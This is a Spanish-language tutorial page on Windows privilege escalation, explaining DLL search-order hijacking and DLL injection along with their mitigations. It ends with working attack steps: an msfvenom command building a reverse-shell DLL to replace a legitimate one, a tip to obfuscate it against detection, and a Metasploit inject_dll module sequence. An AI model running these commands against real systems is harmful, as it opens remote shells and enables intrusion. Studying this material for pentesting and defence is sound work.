DLL hijacking e injection

Windows Privilege Escalation

Una DLL (Dynamic Link Library o Biblioteca de Enlace Dinámico) es un archivo que contiene código y datos que múltiples programas pueden usar simultáneamente, lo que permite compartir recursos y modularizar el software. En lugar de duplicar el código en cada aplicación, se pueden usar las funciones de una DLL, lo que hace el uso de memoria más eficiente, facilita las actualizaciones y simplifica el desarrollo.

  • El DLL Hijacking (también conocido como DLL Search Order Hijacking) es una técnica en la que un atacante coloca una DLL maliciosa con el mismo nombre que una legítima en una ubicación donde el sistema operativo o una aplicación la cargará por error. Cuando una aplicación busca una DLL que necesita (por ejemplo, user32.dll), Windows la busca siguiendo un orden de búsqueda predeterminado (PATH) Si el atacante logra poner una DLL con ese mismo nombre antes en el orden de búsqueda, el programa cargará la maliciosa en lugar de la real.

para entenderlo mejor, imagina que tengo una aplicación llamada app.exe, esta intenta cargar el dll config.dll, pero dentro del código no se especifica la ruta completa/exacta de la dll que se esta intentando cargar, entonces Windows empieza a buscar en el mismo directorio de app.exe antes de seguir el resto del PATH. Si al atacante coloca su propia config.dll maliciosa en el directorio de la aplicación el programa carga esa DLL y ejecuta en cambio el código del atacante con los mismos privilegios del proceso. Esto abre puertas a persistencia en el sistema, ejecución de código arbitrario, escalación de privilegios y la mayoría de veces sin detección inmediata.

Windows busca DLLs siguiendo un orden que puede variar según configuraciones (SafeDllSearchMode). Por defecto suele buscar primero en el directorio de la aplicación, luego en System32 y después en otras rutas del PATH, pero esto puede cambiar y hay opciones que restringen ese comportamiento.

Por otro lado, es necesario que un atacante tenga permiso de escribir en el directorio donde se busca la dll. si la carpeta esta protegida a solo administradores el ataque no funcionara sin escalación de privilegios previa. Si el atacante logra colocar el DLL en la ruta el proceso cargara con los mismos privilegios que el proceso vulnerable.

  • El DLL Injection o inyección de DLL consiste en buscar y forzar un proceso legítimo en ejecución a cargar una DLL externa (maliciosa o manipulada), de forma que el código de la DLL se ejecute dentro del espacio de memoria del proceso víctima. El atacante inyecta la DLL en un proceso ya en memoria, usualmente mediante funciones de Windows como CreateRemoteThread(), WriteProcessMemory(), LoadLibraryA(), LoadLibraryW(), etc. Esto se desencadena a una manipulación del comportamiento del programa, robo de datos, ejecución de paylads maliciosos y evadir detecciones.

para entenderlo mejor, imagina que estamos corriendo el proceso explorer.exe el cual es un proceso legítimo del sistema. un atacante utilizaría alguna herramienta que le permita escribir la ruta de su DLL malicioso en la memoria del proceso legítimo creando un hilo remoto que carga la dll dentro del proceso. El código dentro del dll malicioso termina ejecutándose como parte del proceso legitimo.

A diferencia del dll hijacking el dll injection implica forzar manualmente a un proceso ya en ejecución a cargar una dll. de igual manera se considera una técnica más activa por inyectar directamente en un proceso activo, no como en el dll hijacking donde se espera a que cargue el proceso.

Actualmente para mitigar este tipo de ataques se utilizan medidas modernas como: SetDefaultDllDirectories/LoadLibraryEx con flags seguros, SafeDLLSearch, firmar código, ASLR, DEPreducen, etc reducen la superficie del ataque. Muchas aplicaciones ya especifican rutas absolutas o usan búsquedas restringidas.

Generación básica de DLLs maliciosas (metasploit)

msfvenom -p windows/shell_reverse_tcp LHOST=ip_aqui LPORT=443 -f dll -o nombre_de_dll_a_secuestrar_aqui.dll

este comando nos va a generar una reverse Shell creando un archivo DLL, al final indicamos el nombre que tenia el archivo dll original. Al ser una carga generada por metasploit es mejor ofuscar el código y así evitar menos detecciones.

primero debemos indicar el directorio de la dll a secuestrar y sustituirla por la nuestra. posteriormente es cuestión de ejecutar la aplicación que cargara el DLL nuevo y nos debería llegar la reverse Shell

Explotación Básica de DLL injection

use post/windows/manage/inject_dll # modulo a utilizar
set SESSION 1 # establecer una sesion
set DLL_PATH /path/al/dllobjetivo.dll # dll a inyectar
set PROCESS notepad.exe # proceso que quieres vulnerar
exploit # correr el exploit

Last updated